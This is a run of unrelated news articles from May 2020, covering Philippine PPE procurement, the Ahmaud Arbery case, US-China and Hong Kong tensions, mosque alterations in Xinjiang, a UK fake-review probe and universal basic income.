May 22, 2020 De Lima chides DOH over purchase of overpriced medical supplies Opposition Senator Leila M. de Lima has demanded for government transparency and accountability after its procurement of reportedly overpriced personal protective equipment (PPE) and other medical equipment amid the threat of the coronavirus disease or COVID-19. De Lima, a known human rights defender and social justice champion, said procuring overpriced PPEs and supplies in the face of countless complaints from health frontliners who are crying for protection is considered "top level malfeasance." "Amidst a medical crisis of epic proportions, where the survival of the entire nation depends largely on a public health response, it is at the height of shamelessness when the very government agency tasked to steer the health sector is the very entity that has allowed possible corruption to creep through the system," she said in her Dispatch from Crame No. 799. "Labis na nakapagtataka kung paano niyo nasisikmurang ipangalandakan sa inyong mga press briefings ang dami at halaga ng mga supplies at equipment na diumano ay inyong nabili na habang nagmamakaawa at nagsusumamo ang mga medical frontliners natin para sa protective gear," she added. Recently, the Department of Health (DOH) received nationwide backlash for reportedly purchasing overpriced supplies, such as PPE, that are needed by health workers caring for COVID-19 patients. De Lima said the corruption allegations hounding DOH is happening at the expense of medical frontliners who are suffering from limited supply of PPE, citing the recent announcement by the Philippine General Hospital that it will limit PPE rations to three per week per person. "Dahil dito napipilitan ang ating health workers na tipirin ang paggamit ng kanilang PPE o kaya ulitin ang paggamit nito sa kabila ng panganib na maaaring maidulot ng ganitong gawain," said she. De Lima further questioned the move by the DOH to purchase expensive PPE from China despite reports that most products coming from China are defective and are dangerously substandard. "While the country's coffers are quickly drying up, while the health sector is struggling to hold the line, here is the DOH surrounded with corruption allegations yet again. Bakit natin kailangan bumili ng napakamahal na mga PPE from China samantalang marami nang naiulat na mga produkto ng China na depektibo at mapanganib?" she asked. "Kailangang magpaliwanag ng ating DOH ukol sa mga ulat na ito. Our people have suffered and placed our survival in the hands of our government. If we are to 'heal as one, we need our government to be transparent and accountable," she added.
By Express News Service

THIRUVANANTHAPURAM: Four trains will reach Thiruvananthapuram on Friday- two from New Delhi and one each from Jalandhar and Jaipur. Two trains, one to New Delhi and another to Jaipur, will also leave from Thiruvananthapuram Central on the same day.

The New Delhi- Thiruvananthapuram Rajadhani Express is expected to arrive by 5.20 am while the Jaipur- Thiruvananthapuram Express is expected by 8 am. The Jalandhar- Thiruvananthapuram Express will reach at 11 am while the New Delhi- Thiruvananthapuram Express will arrive at 3 pm. The two trains bound for New Delhi and Jalandhar are expected to leave by 7.45 pm and 8 pm respectively.

Passengers from other districts will be sent home in KSRTC buses. As many as 80 buses have been arranged to carry passengers. Similar procedures will be adopted in other districts as well. Anyone with symptoms will be moved to the hospital directly from the railway station.

In the wake of increased train services, the Railways has now instructed passengers boarding trains to use the entrance at Power House Road. The health checkup of all the passengers will be done following the protocol through the help desks set up here.
The sharp decline of US-China ties during the coronavirus pandemic could steer the two countries into conflict. Taiwan and the South China Sea could be flashpoints. The question has taken a new urgency as acrimony escalates between Washington and Beijing amid the Covid-19 pandemic, Inkstonenews writes in the article Inevitable war? China, America and their next battlegrounds.

The question is also known as the Thucydides trap: an ancient Greek analogy that Harvard professor Graham Allison has popularized. In his 2017 book, Allison argued that wars were often unavoidable when a rising power challenges a ruling power. While observers mostly agree that an all-out war between the nuclear-armed nations is still improbable, the worsening US-China relations have raised the possibility of more direct conflict. Speaking at the World Economic Forum in Davos in January 2017, Xi said the Thucydides trap can be avoided  as long as we maintain communication and treat each other with sincerity.

But since then, the devastating Covid-19 pandemic has driven the deeply fraught US-China relations to the brink of an all-out confrontation as a result of strategic distrust and misperception, said Wang Jisi, President of Peking Universitys Institute of International and Strategic Studies. China and the US are shifting from an all-around competition to a full-scale confrontation, with little room for compromise and maneuvering, Wang said in a speech in late March. The deterioration of US-China ties has alarmed president Xi Jinping and his top aides enough that the Chinese leaders are planning for worst-case scenarios with the US, said Xinhua, the state news agency. While Xinhua did not elaborate on what Xi meant by worst-case scenarios, a recent study by a Chinese government-backed think tank offered some hints.

The China Institutes of Contemporary International Relations (CICIR), affiliated with the Ministry of State Security, said Beijing may need to prepare for armed confrontation with Washington amid the worst anti-China backlash since the Tiananmen crackdown in 1989, according to Reuters, which cited an internal report.

The report warned that Chinas overseas investments, especially the ambitious Belt and Road Initiative, could fall victim to rising anti-Chinese sentiments, while the US may accelerate efforts to counter Beijings expanding clout by increasing financial and military support for regional allies.

While the think tank declined to confirm the Reuters story, many international relations analysts shared similar bleak assessments of US-China relations. We are already in an all-around confrontation with the US, which sees both sides at odds on almost every front  from trade and tech tensions, military, ideological and geopolitical rivalry, to political and legal battles over the coronavirus, Zhu from Nanjing University said. The prospects for bilateral ties are deeply worrying and we are just one step away from a new cold war.

Seth Jaffe, assistant professor of political science and international affairs at John Cabot University in Rome and an expert on Greek history, said the Chinese think tank report was profoundly concerning. According to Jaffe, the author of Thucydides on the Outbreak of War: Character and Contest, although the temperaments of Trump and Xi would matter enormously in any actual crisis, it was the structural shifts in the balance of power in recent years that had brought the two sides closer to the brink.

Taiwan and the South China Sea

According to Jaffe, the most likely collision scenario would be in the South China Sea, an important waterway in global trade disputed between Beijing and multiple regional governments. He said an international incident would put Trump and Xi on a reputational collision course, with each leader facing pressure to stand up to the other and not back down, given the mistrust and heated rhetoric. Another potential flashpoint is Taiwan, a self-ruled democracy that Beijing claims as its territory.

However, a military confrontation over Taiwan in the near term is not likely, said Shelley Rigger, a political science professor at Davidson College in North Carolina. The Chinese leadership surely understands the massive costs  in blood, treasure and reputation  of military action against Taiwan. They are way too smart to count on the US not intervening, she said.

Rigger noted several retired PLA officers, including air force Major General Qiao Liang, had unusually toned down their hawkish stance on seeking reunification with Taiwan by force. While experts called for efforts to lower tensions in the lead-up to the US presidential election in November, most said that would largely hinge on Trump.

Anything is possible with Trump, Rigger said. If he thinks better relations with China will help him win re-election, he will do whatever it takes to turn the relationship around. Id be really surprised if the Chinese leadership didnt respond positively to such an opportunity.
The Georgia Bureau of Investigation has said if the neighbor who filmed Ahmaud Arbery's fatal shooting was merely a witness 'then we wouldn't have arrested him' as the newly-released warrant claims he used his vehicle 'on multiple occasions' to try to block the unarmed black jogger in the road.

Speaking at a press conference at the GBI's DeKalb County headquarters Friday, director Vic Reynolds dismissed previous claims made by William 'Roddie' Bryan Jr. that he was merely a 'witness' and not an accomplice in Arbery's killing.

'If he was a witness we wouldn't have arrested him,' Reynolds said.

'We believe his underlying felony helped cause the death of Ahmaud Arbery,' he said, adding that the GBI is 'confident [prosecutors] will be able to prove that'.

He added that the GBI had collected more video footage of the shooting which would be revealed when the case goes to trial.

Reynolds gave an update on what marked the 16th day since the GBI stepped in and took over the case after shocking footage - shot by Bryan - emerged of Arbery, 25, being gunned down in a street in Brunswick, Georgia back in February.

Scroll down for video

Georgia man William 'Roddy' Bryan who filmed his two white neighbors shooting and killing Ahmaud Arbery is pictured in his mugshot. The Georgia Bureau of Investigation has said if he was merely a witness 'then we wouldn't have arrested him' as his arrest warrant claims he used his vehicle 'on multiple occasions' to try to block the unarmed black jogger in the road

Gregory McMichael, 64, and his son Travis McMichael, 34, were arrested and charged with murder and aggravated assault earlier this month for Arbery's shooting death.

The GBI announced Thursday it had also arrested Bryan, 50, on charges of felony murder and criminal attempt to commit false imprisonment.

If found guilty, Bryan could face the death penalty or life in prison for the felony murder charge and up to 10 years jail time for the false imprisonment charge.

Bryan was pictured Friday in his mugshot after his arrest.

Reynolds said Bryan was arrested around 5.30pm. Thursday, and was turned over to the Glynn County Sheriff's Department and booked into the local county jail.

William 'Roddie' Bryan (left), a neighbor of the father and son who killed Ahmaud Arbery (right), who filmed the shooting in Satilla Shores, Georgia

Once we start turning over stones, there are a few stones underneath that we start to turn over, he explained about the move to arrest Bryan in connection to Arbery's death.

On Wednesday afternoon or evening we reached the point that we were convinced probable cause existed to make those charges.

It wasnt a proverbial moment of epiphany it was an accumulation of various things.

Reynolds said authorities had additional video evidence to support the arrest.

'We have accumulated a number of pieces of video in the case... eventually that will come out in a court of law,' he said.

Gregory (left) and Travis McMichael (right) have both been charged with murder and aggravated assault over the February 23 shooting of Ahmaud Arbery

THE CHARGES WILLIAM 'RODDY' BRYAN JR FACES The man who filmed the fatal shooting of Ahmaud Arbery was arrested on charges of felony murder and criminal attempt to commit false imprisonment. Here are the charges explained: Criminal attempt to commit false imprisonment Definition: When someone arrests, confines, or detains another person without legal authority.

When someone arrests, confines, or detains another person without legal authority. Bryan's charge: The arrest warrant, obtained by DailyMail.com, says Bryan tried to block and hold Arbery in the road using his vehicle 'on multiple occasions'. It claims Bryan 'did attempt to confine and detain Ahmaud Arbery without legal authority, by attempting to confine Arbery utilizing his vehicle on multiple occasions... with the intention of confining and detaining Arbery'.

The arrest warrant, obtained by DailyMail.com, says Bryan tried to block and hold Arbery in the road using his vehicle 'on multiple occasions'. It claims Bryan 'did attempt to confine and detain Ahmaud Arbery without legal authority, by attempting to confine Arbery utilizing his vehicle on multiple occasions... with the intention of confining and detaining Arbery'. Maximum sentence: 10 years Felony murder Definition: In Georgia, if someone commits a serious felony and someone else dies during or because of that felony they can be charged with felony murder.

In Georgia, if someone commits a serious felony and someone else dies during or because of that felony they can be charged with felony murder. Bryan's charge: Bryan's attempts to falsely imprison Arbery in the road helped to cause his death, according to the GBI. GBI Director Vic Reynolds said: 'Felony murder is a crime in Georgia if the crime ends in the death of another human being... we believe his underlying felony helped cause the death of Ahmaud Arbery and we're confident they'll be able to prove that.'

Bryan's attempts to falsely imprison Arbery in the road helped to cause his death, according to the GBI. GBI Director Vic Reynolds said: 'Felony murder is a crime in Georgia if the crime ends in the death of another human being... we believe his underlying felony helped cause the death of Ahmaud Arbery and we're confident they'll be able to prove that.' Maximum sentence: Death or life in prison Advertisement

When asked if Bryan had used his truck to block Arbery in the road, Reynolds stopped short of confirming these reports but directed the public to the arrest warrant.

'Look to the warrant on false imprisonment - it speaks for itself,' he said.

DailyMail.com has obtained the two arrest warrants for the charges.

They claim that Bryan tried to block and hold Arbery in the road using his vehicle 'on multiple occasions'.

Bryan 'did attempt to confine and detain Ahmaud Arbery without legal authority, by attempting to confine Arbery utilizing his vehicle on multiple occasions... with the intention of confining and detaining Arbery,' the warrant for criminal attempt to commit false imprisonment says.

This contradicts claims previously made by Bryan's attorney that he was only a 'witness' and that the crime simply 'start[ed] happening in front of him'.

The warrant for felony murder says Bryan helped to cause Arbery's death by trying to falsely imprison him.

The two warrants, provided by the GBI, appear to have been corrected, with Travis McMichael's name typed in the space of the defendant and then scribbled out in pen with William Bryan's name put in its place.

Reynolds refused to confirm or deny Friday whether it was Bryan who made the initial 911 call reporting Arbery's shooting to police back in February.

'I won't answer that yet - again the warrants indicate what we believe, he said.

And if he was the one who contacted police, Im sure the DAs office will introduce that in evidence at the right time.

The GBI does not expect to make any further murder arrests at this time, he added.

The arrest warrant for William Bryan on the charge of felony murder

The arrest warrant for William Bryan on the charge of criminal attempt to commit false imprisonment

Reynolds also thanked the victim's family for their 'patience' over the case, after Arbery's killers were able to walk free for more than two months after his death.

Joyette Holmes, District Attorney of the Cobb Judicial Circuit and the woman now tasked with prosecuting the case, also said she had been in contact with the victims family.

'We know we have a broken family and community, she said.

We will make sure we find justice in this case.'

The GBI warned earlier this month that Bryan could also face arrest for his part in the murder after he watched and shot the footage of the attack.

The victim's family have repeatedly called for him to face charges in connection with Arbery's death.

Speaking at a press conference at the GBI's DeKalb County headquarters Friday, director Vic Reynolds (pictured) dismissed previous claims made by William 'Roddie' Bryan Jr. that he was merely a 'witness' and not an accomplice to Arbery's killing

Bryan lives just a few houses away from the McMichaels, close to where the killing took place.

On Tuesday, Bryan took a lie detector test to show he was unarmed at the shooting, was not part of plans to kill and did not speak to the McMichaels on the day of the shooting before Arbery's death, his attorney Kevin Gough said.

The test will not be admissible in court.

Bryan broke his silence earlier in the month via his lawyer to insist he was only a 'witness' to Arbery's slaying and not an accomplice.

Bryan claimed there had been a 'number of crimes in the neighborhood in recent weeks' - despite cops saying there were no burglaries reported in the two months leading up to the young man's death.

Gough also said the shooting simply 'start[ed] happening in front of him' and Bryan had handed over the footage to police 'immediately' after the incident.

He told Weekend TODAY Bryan had arrived at the scene after he saw Arbery running through the neighborhood and being pursued by the McMichaels in their truck.

'He was in his yard and this just starts happening in front of him,' said Gough. 'He gets in his car and is trying to document that.'

When asked why Bryan followed and filmed the attack, his attorney said 'he was trying to get [Arbery's] picture... because there had been a number of crimes in this neighborhood and he didn't recognize him and a vehicle that he did recognize was following him.'

'From day one Mr Bryan has fully cooperated with law enforcement officers investigating this matter,' he said in the First Coast News footage.

Gough said Bryan handed the cellphone footage to police as soon as officers arrived on the scene.

Bryan 'disclosed the existence of the videotape and invited a responding Glynn County police officer to sit with him in his truck where they watched the video together,' Gough said.

Harrowing video showed the men 'ambushing' Arbery as he tried to run past their pickup truck

'Mr Bryan went home and came back out to the crime scene shortly after at the request of law enforcement to further assist them and then later Mr Bryan voluntarily went to the Glynn County Police Department where he answered all the questions they had for him without a lawyer during a lengthy interview.'

Gough branded reports that Bryan had a firearm with him when he arrived on the scene 'irresponsible' and insisted he was 'unarmed'.

Arbery was shot dead while out jogging on February 23 by the McMichaels.

The killers evaded prosecution for more than two months, after the father and son team initially claimed they thought Arbery was a burglar after a spate of thefts in the area, and that he attacked them when they tried to make a citizen's arrest.

The shocking cellphone footage - taken by Bryan - was then leaked by the McMichaels' lawyers who had hoped it would clear the duo as they claim they fought back in self-defense.

The video shows the McMichaels chasing and gunning down the victim in the street.

The harrowing video showed the men 'ambushing' Arbery as he tried to run past their pickup truck.

Exclusive photos show the moment Gregory McMichael (pictured) and his son Travis McMichael were arrested at their home in Brunswick, Georgia, on May 7

An officer with the Georgia Bureau of Investigation is seen leading 34-year-old Travis McMichael out of the home in handcuffs

The leak of the video sparked outrage across the nation with LeBron James, Justin Bieber and Kendall Jenner all leading cries for the McMichaels to be charged with murder.

The GBI took over the investigation from the Glynn County Police and the McMichaels were finally arrested and charged with murder and aggravated assault on May 7.

Officers carried out a search of their home on Tuesday evening including vehicles parked outside and a boat dock in the backyard.

Glynn County Police and several local prosecutors have come under fire over their handling of the case.

Arbery is pictured right with his mom Wanda Jones, The lawyer for Ahmaud Arbery's family said the 25-year-old was chased for four minutes before being gunned down

Ahmaud Arbery and his mother Wanda Cooper Jones

The police force has been plagued by allegations of corruption going back years, with a damning report in 2019 unearthing what it described as an 'ongoing culture of cover-up' at the department.

New police bodycam footage then emerged this week showing officers trying to use a taser on Arbery while his hands were up and he was unarmed back in 2017, which lawyers for Arbery's family say suggests he was being harassed by the authorities.

Gregory McMichael retired last year after more than two decades as an investigator for the local prosecutor's office.

Because of those ties, Brunswick Judicial Circuit District Attorney Jackie Johnson recused herself from the case.

Two outside prosecutors assigned the case have also stepped aside.

The McMichaels remain jailed in Glynn County waiting for a preliminary court hearing and for a judge to decide whether to free them on bond pending trial.

A bond hearing has not yet been scheduled for the McMichaels.
The UT administration has announced the award of compensation for acquiring a total of 17.76 acres land for connecting Dakshin Marg, Chandigarh, to PR4 (main road) on the Mullanpur side of the UT-Punjab boundary.

The road is aimed at improving the connectivity between Chandigarh and Mohali by opening up a direct route from Dakshin Marg to New Chandigarh. This will be in addition to the road from Madhya Marg connected to Mullanpur. It will open an alternative route to Kurali and Baddi from Chandigarh.

A total of Rs 74.67 crore compensation amount has been decided under Section 26 of the Right to Fair Compensation and Transparency in Land Acquisition Rehabilitation and Resettlement Act 2013.

In an order issued by UT land acquisition officer, a compensation of Rs 2.35 crore per acre has been announced for 17 families for acquiring 5.56 acres in Dhanas and that of Rs 1.44 crore acre for 93 families for 12.2 acres to be acquired in Dadumajra.

After paying the compensation, the administration will hand over the acquired land to the engineering department for the construction of the road on the Chandigarh side.
Side-by-side images show Kashgar's Id Kah mosque in 2015 and in 2019, after the removal of the plaque and the star-and-crescent structures from the tops of the its dome and minarets.

Since 2016, the Chinese authorities have been systematically destroying mosques, cemeteries, and other religious structures and sites across the Xinjiang Uyghur Autonomous Region (XUAR). Last year, the Washington-based Uyghur Human Rights Project (UHRP) published a report detailing this campaign, titled Demolishing Faith: The Destruction and Desecration of Uyghurs Mosques and Shrines; the report was referenced in the 2020 annual report of the United States Commission on International Religious Freedom (USCIRF). The report uses geolocation and other techniques to show that anywhere between 10,000 and 15,000 mosques, shrines, and other religious sites in the XUAR were destroyed between 2016 and 2019. In some cases, only the domes and towers were destroyed from certain structures, while in others, characteristically Islamic elements such as stars and crescents, domes, and scripture plaques were removed. In some cases, entire mosques have also been felled.

China has made no official response to the report or to claims about the large-scale and widespread destruction it has undertaken. However, the Chinese authorities have continued to bring international visitors to mosques such as Id Kah in Kashgar, as well as to other religious sites around the region, and to publish articles depicting the mosque in state-run media, all in support of the official line that Uyghurs enjoy religious freedom in the region.

Id Kah is the largest and oldest mosque in the XUAR and the largest mosque in all of China. Uyghurs have long regarded Id Kah as a symbol of Islamic culture and a representative of Islamic architecture in the region. While the mosque is still standing mostly intact today, there are some very alarming signs that it is merely a shell of what it used to be. In 2018, authorities removed the star-and-crescent structures from the tops of the mosques dome and minarets, along with the colorful scriptural plaque that long hung above its front entrance. As of 2020, those features appear not to have been restored to the mosque. The plaque, which dates to hijra 1325 (1908 C.E.) contains Quranic scriptures along with information about the construction of the mosque and the identity of the artist who made the sign.

Ahead of Eid al-Fitr, which on May 23 will mark the end of the Islamic holy month of Ramadan, RFAs Uyghur Service spoke with Turghunjan Alawudun, director of the Religious Affairs Committee for the Munich-based World Uyghur Congress (WUC) exile group, and Henry Szadziewski, a senior researcher with the UHRP, about the significance of the missing plaque.

A close up view of the plaque adorning the front entrance of Id Kah mosque, taken before its removal. RFA Alawudun: The disappearance of the scriptural plaque from the entrance to Id Kah is one aspect of the Chinese regimes evil policies meant to eliminate the Islamic faith among Uyghurs, to eliminate Uyghur faith, literary works, and languageand Uyghurs themselves. This scriptural plaque above the door into Id Kah, like the [mosques] minarets, has an Islamic character and is a symbol that has been there from the founding of the mosque until today. The Chinese regime cant bear this, it cant stand it, and the inner hatred they feel toward Uyghurs has boiled over such that they had the plaque removed.

Theyve left Id Kah [itself] there for the international community, as part of a bid to fool the world. By taking visitors from Islamic countries there every once in a while to see it, showing it to international visitors who come to investigate [the situation in the region], and sharing it in the media every now and then, theyre pursuing policies that deceive the world. Even so, we can still see that the cruel things that China is doingthe destruction by the Chinese regime of things connected to Uyghurs, Uyghur culture, symbols of the Uyghur people, expressions of Uyghur cultureare signs of the Chinese regimes horrible plan to eliminate the Uyghurs.

Szadziewski: Religious freedom is not a reality for Uyghurs. Across their homeland, mosques, shrines, and other sacred spaces have been bulldozed into history. In the camps, Uyghurs are indoctrinated into the supposed evils of religion. Id Kah in Kashgar has remained standing. Its disappearance would cause outrage given its importance. The significance of its existence to the Chinese authorities is to demonstrate to the world observance of Uyghurs' religious freedoms. However, the removal of Islamic motifs from the building tells a different story. It tells us Id Kah is being stripped of religious meaning to become a shell for unsuspecting visitors. There is no reason to remove Islamic motifs from the building other than to demonstrate to Uyghurs that belief in Islam belongs to the past. As such, the despoiling of Id Kah signals a move toward an effective ban on the Islamic faith.

Reported by Bahram Sintash for RFAs Uyghur Service. Translated and written in English by Elise Anderson.
Petoskey, Kalkaska duo set to release new album

Northern Michigan band John Piatek & Friends are set to release their second album right on the heels of their debut release just some six months ago.
Photo: Getty

Regulator Competition and Markets Authority (CMA) has launched an investigation into potential misleading online reviews amid a surge in people using websites to do their shopping during the lockdown to prevent the spread of coronavirus.

The CMA said it will be looking into several major websites to see whether they are doing enough to protect shoppers from fake and misleading reviews. The watchdog did not name the websites and is not currently alleging that any website has acted illegally.

It says that it just wants to ensure that the sites have robust systems in place to find and remove fake reviews or reviews that mislead people about a product or business.

Most of us read online reviews to help decide which products or services to buy. During lockdown, were more dependent than ever on online shopping, so its really important that the online reviews we read are genuine opinions. If someone is persuaded to buy something after reading a fake or misleading review, they could end up wasting their money on a product or service that wasnt what they wanted, said Andrea Coscelli, CEO of the CMA.

READ MORE: Coronavirus: UK retail sales suffered record-breaking fall in April

Our investigation will examine whether several major websites are doing enough to crack down on fake reviews. And we will not hesitate to take further action if we find evidence that they arent doing whats required under the law.

If the CMA finds that any of these websites are not doing what is legally required, it will take enforcement action  but it did not specify what those actions would look like.

British retail sales cratered by 18.1% in April from March  the biggest fall since records began in 1988  due to the impact from the coronavirus pandemic. But online sales in various areas have substantially risen in response to people not leaving their homes.

The CMA has already secured commitments from Facebook-owned (FB) Instagram to tackle the risk that people can buy and sell fake online reviews through its platform.

Instagram has committed to provide for more robust systems to detect and remove this kind of harmful material from Instagram, confirmed the regulator.

This builds on the CMAs previous work on online reviews, where it identified the trading of of fake reviews on Facebook and eBay (EBAY) and secured commitments from them to tackle this issue. The CMA is not alleging that Facebook, eBay or Instagram intentionally allowed this content to appear on their websites.
U.S. Sen. Pat Toomey (R-Pa.) speaks during a confirmation hearing before Senate Committee on Banking, Housing, and Urban Affairs on Capitol Hill in Washington, on May 5, 2020. (Alex Wong/Getty Images)

Senators Unveil Bill to Sanction Chinese Officials Who Violate Hong Kong Autonomy

Two U.S. senators are planning to introduce a bipartisan bill that would sanction Chinese officials for undercutting Hong Kongs autonomy, hours after Beijing moved to impose a sweeping national security law on the territory.

Titled the Hong Kong Autonomy Act, the legislation aims to defend human rights in Hong Kong by penalizing officials complicit in the Chinese regimes meddling in the territory. It also proposes sanctions on banks that conduct significant transactions with entities involved in such abuse.

On May 21 evening, the Chinese regimes figurehead legislature, the National Peoples Congress (NPC), announced that it would propose a national security law for establishing a legal system and enforcement mechanism to defend national security in the former British colony of Hong Kong.

The measure would bypass Hong Kongs legislature, and likely pass unhinderedas the NPC is a ceremonial rubber-stamp that approves directives promulgated by the Chinese Communist Party.

Sens. Pat Toomey (R-Pa.) and Chris Van Hollen (D-Md.) introduced the U.S. bill upon news of Chinas proposal.

The communist regime in Beijing would like nothing more than to extinguish the autonomy of Hong Kong and the rights of its people, Toomey said in a press release on Thursday.

In many ways, Hong Kong is the canary in the coal mine for Asia. Beijings growing interference could have a chilling effect on other nations struggling for freedom in Chinas shadow, he continued.

Police stand guard outside a high-end fashion store in Hong Kong on May 21, 2020. (Anthony Wallace/AFP via Getty Images)

The bill will target individuals who enforce Chinas new national security law and Hong Kong police officers who crack down on Hong Kong protesters. Since last June, Hongkongers have staged mass demonstrations against Beijings encroachment on local affairsignited by a since-scrapped extradition bill that would have allowed China to transfer people in Hong Kong for trial in courts controlled by the Chinese Communist Party.

Van Hollen commended the courage of Hong Kong protesters who persisted [d]espite Chinas brutal crackdown. He said theres no time to waste for the United States to take up the issue as the Chinese regime continues to strip Hong Kong of its autonomy.

President Donald Trump warned of a strong reaction if Beijing chooses to move ahead with imposing the national security law.

If it happens, well address that issue very strongly, he told reporters at the White House on Thursday, without elaborating.

Meanwhile, State Department spokesperson Morgan Ortagus on Thursday urged Beijing to honor its commitments and obligations in the Sino-British Joint Declaration, which guarantees Hong Kong a high degree of political freedom upon its transfer to Beijings rule in 1997.

Impinging on Hong Kongs fundamental freedoms will draw backlash and affect Hong Kongs international status, she warned.

Any effort to impose national security legislation that does not reflect the will of the people of Hong Kong would be highly destabilizing, and would be met with strong condemnation from the United States and the international community, she told The Epoch Times in an email.

The State Department has said it delayed issuing an annual report on Hong Kongs autonomy, to account for any further actions from Beijing.

The Hong Kong Human Rights and Democracy Act, signed into law last year, mandates that the State Department determine whether the territory has retained sufficient political autonomy to preserve its special trading privileges with the United States.

Pro-democracy demonstrators hold a flag and chant slogans during a protest calling for the citys independence at a mall in Hong Kong on May 16, 2020. (Isaac Lawrence/AFP via Getty Images)

Pretext for Repression

Dan Garrett, a Hong Kong expert who authored the book, Counter-hegemonic Resistance in Chinas Hong Kong: Visualizing Protest in the City, said he foresees dire consequences for dissident Hongkongers and critics of the regime once the Chinese law is put in place.

The move constitutes the end of the Hong Kong System and the formal introduction of the Communist System in the cityand is only the first step to bring the city under its dominion, he said in an email interview.

At a minimum, he said, the Chinese regime will close Party-perceived loopholes in Hong Kongs legal system in order to quell protests and punish those who offend its authority.

We can expect to see individuals transferred to Communist-custody and banned from entry to Hong Kong, he said. Peaceful protests and intensifying resistance over Beijings measures will only become pretext for more political violence and repression of Hong Kong, he noted.

[T]he CCP (Chinese Communist Party)  has lit the fuse on an even larger powder keg than it did last year, he said, noting that a list of upcoming anniversaries, such as the upcoming commemoration of the Tiananmen Square Massacre, would likely renew protests in Hong Kong.

Cathy He contributed to the report.
I didnt want to leave. I felt there was a need and I love it, Mosby said.

Petersburg schools Superintendent Maria Pitre-Martin said Friday, Mosby stands out for a number of reasons.

Mosby develops a level of trust with her students, fostering strong relationships with them, Pitre-Martin said. Being a veteran educator, Mosby knows her content well and her students continue to progress academically, Pitre-Martin added.

As the lead teacher for the third-grade level, Mosby serves as a mentor for the schools other third-grade teachers, helping them throughout the school year. Mosby is the type of educator to pull new teachers to the side to see if they need extra support with lesson planning or delivery, Pitre-Martin said.

She has a lot to offer as a 20-year career teacher, Pitre-Martin said.

When schools first closed in March, Mosby put together containers of supplies for her students, including books, crayons, a binder of worksheets, hand sanitizer and some candy. She hand-delivered the goodies to each of her students homes.

Mosby is looking forward to eventually returning to school and to her classroom, which she said has a family atmosphere rather than a teacher-student one. She checks in on her kids daily now, but its not same, she said.
Residents line up at a Chicago food bank this month. Would universal basic income relieve their food insecurity? (Associated Press)

The idea of a universal basic income  a regular stipend paid to every American adult to meet minimum life needs  has been bubbling around the edges of American politics for decades.

With the coming of the coronavirus pandemic, UBI may finally move to center stage, and stay there.

"This is a moment when the UBI idea is possibly going to feel more appealing to a lot of people," observes Ioana Marinescu, a labor economist at the University of Pennsylvania who has studied what she calls unconditional cash transfer programs.

'COVID-19 has created a rare policy window where so many people are now tangibly feeling the economic insecurity we've been talking about.'

Sukhi Sharma, director, Stockton Economic Empowerment Demonstration

UBI had gained currency during the early stages of the current election cycle thanks to the efforts of Andrew Yang, who made the idea the centerpiece of his run for the Democratic nomination for president until he suspended his campaign Feb. 11. Since then he has been promoting the idea via a nonprofit, Humanity Forward.

"Universal basic income is a lot more popular now than it was even several months ago, because of the clear need in our communities," Yang told me. The near-universal experience of receiving $1,200 checks as coronavirus rescue payments has strengthened the appeal of the idea, he says.

"They liked it," he says. "They didn't find that it transformed their work ethic or made them into lazy wastrels. So there's a lot of experience that puts to bed a lot of the resistance that people had."

The hope of many fans of UBI is that the coronavirus crisis, by exposing the gaping inequities in America's economic structure as the Great Depression did in the 1930s, will usher in a New Deal-like social revolution.

That would be beneficial to millions of Americans who have been marginalized by diminishing educational and employment opportunities. But it's wise to keep in mind that powerful entrenched political interests will strive to keep the present structure in place, despite the pandemic.

Story continues

As I've mentioned in the past, the concept of universal basic income has long enthralled political and social thinkers across the ideological spectrum as diverse as Huey Long, Milton Friedman, Martin Luther King and Richard Nixon.

They're not all interested for the same reasons. Conservatives such as political scientist Charles Murray are intrigued by the possibility of replacing existing safety net programs wholesale, presumably at lower cost.

Progressives wish to use UBI to patch holes in the safety net and the labor market opened by the modern workplace, such as the growth of gig work without guaranteed hours or pay.

Definitions of UBI vary: Some involve phase-outs by income, though typically at higher income levels than existing safety net programs; some direct the money to specific population segments such as single mothers, though that makes them not universal at all; and many differ over the amount of income judged to be "basic" or even whether the payments should be enough for recipients to live on without any other income.

The canonical UBI program would provide at least $12,000 a year per adult  the level advocated by Yang. That would cost an estimated $3 trillion a year, or about two-thirds of current federal annual outlays. The tax increases needed to cover that bill will mobilize political opposition.

The program would have to be truly universal to remove the stigma attached to means-tested programs such as food stamps. A check would go to everyone, whether theyre employed or not. No strings attached. No means test. No bureaucrats examining your personal lifestyle or looking for hidden income. No politicians demanding that you seek out even a menial job or leave the children in the hands of caretakers before getting the money.

The payments would not phase out with rising income to eliminate what conservatives decry as the poverty trap  when more income means the loss of benefits, they posit, recipients are encouraged to stay out of the labor pool. (Reducing the handout to higher-income households could be done through progressive taxation.)

That's roughly the structure of what may be the highest-profile UBI experiment in the nation: The Stockton Economic Empowerment Demonstration, or SEED. Funded by foundations and private donors, SEED began providing $500 monthly stipends to 125 households randomly selected from among neighborhoods in the California city with household incomes below the city median.

The recipients' median monthly household income was $1,800, so the $500 amounted to a significant income bump of nearly 30%. About 37% of the households are Hispanic, 28% black and 11% Asian. The program began in February 2019 and will run until July, though its organizers are trying to raise funds to continue for a further six months.

Stockton UBI recipients spent mostly on food, shelter and utilities--and stepped up their food spending in February and March to prepare for the coronavirus lockdown. (SEED)

The project has helped to explode numerous misconceptions about how recipients would spend unconditional windfalls  that they would binge on nonessentials or abandon work, for instance.

"People are first and foremost spending money on necessities food shelter, utilities, etc.," says Stockton Mayor Michael Tubbs, an organizer of the project. "There also are recipients using that money to better their economic circumstances, whether it's to go back to school, pay off debt, to take time off work so they can apply for a full-time job."

As the pandemic emerged, according to program data, recipients stepped up their purchases of food, to 46.5% of total spending in March from 34% a year earlier.

"That shows how widespread the issue of food insecurity is in our community and society at large," Tubbs says, "but also that people are making decisions rooted in how best to provide for their family needs."

Those findings resemble those from other examples of unconditional cash programs, such as Alaska's Permanent Fund Dividend, paid out of the state's petroleum extraction fees, and tribal dividends from Indian casinos: The money typically is not spent wastefully, but tends to improve social metrics such as education and children's health.

The most important effect the coronavirus crisis may have on public opinion of UBI is the prevailing rationale. In the past, UBI has been seen largely as a remedy for automation-related job losses.

"This is sometimes presented as 'The Robots Are Coming,'" Jesse Rothstein, a former chief economist at the U.S. Department of Labor now at UC Berkeley, wrote last year with his Berkeley colleague Hilary W. Hoynes.

The coronavirus crisis has shifted the thinking more toward the idea as a response to the inadequacy of America's economic safety net.

"The U.S. has a social welfare system that is pretty limited," says Pennsylvania's Marinescu. "All the rescue packages that have already been passed are a demonstration of that. They had to enact a whole bunch of new bills in order to deal with the fallout because the system we have wasn't able to deal with it."

